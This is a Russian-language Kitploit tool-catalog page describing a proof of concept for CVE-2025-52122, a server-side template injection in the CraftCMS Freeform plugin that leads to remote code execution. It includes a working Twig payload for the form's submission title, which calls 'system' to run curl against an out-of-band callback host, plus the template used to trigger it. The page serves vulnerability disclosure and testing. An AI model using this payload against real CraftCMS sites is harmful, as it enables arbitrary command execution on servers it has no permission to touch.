Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/timtrademark/cve-2025-52122
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubtimtrademark/cve-2025-52122

CVE-2025-52122

Произвольное внедрение кода в CraftCMS Freeform 5.0.0 < 5.10.16

Репозиторий
11 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE CraftCMS Freeform

CraftCMS Freeform содержит уязвимость SSTI, что приводит к внедрению произвольного кода для всех пользователей, имеющих доступ к редактированию формы (заголовок отправки).

Уязвимые версии: v5.0.0 < v5.10.16.

Шаги для воспроизведения

Создайте форму:

Создайте форму

Я создал форму «pentest» в качестве доказательства концепции. Затем в настройках укажите следующий заголовок отправки (измените доменное имя на свой собственный сервер):

root@kitploit:~
{{ 'system' | call('curl http://gwgyynafr4feu5xecukf1h2nqew5kw8l.oastify.com/rce') }}

заголовок отправки

Это выполнит произвольный системный вызов. В данном случае я выполняю curl на контролируемый сервер, который уведомит меня о входящих подключениях. Затем включите эту форму в шаблон/страницу и отправьте её:

root@kitploit:~
<h1>test</h1>
{% set form = freeform.form('pentest') %}

{% if form %}
  {{ form.render() }}
{% else %}
  <p>Form not found.</p>
{% endif %}

Это вызовет команду curl. Мы можем проверить это, посмотрев на входящий HTTP-запрос, который был создан:

входящее подключение

Коренная причина этой проблемы заключается в том, что Freeform реализует фильтр Twig 'call' без проверки пользовательского ввода. Это было исправлено в следующем коммите.

Скачать инструмент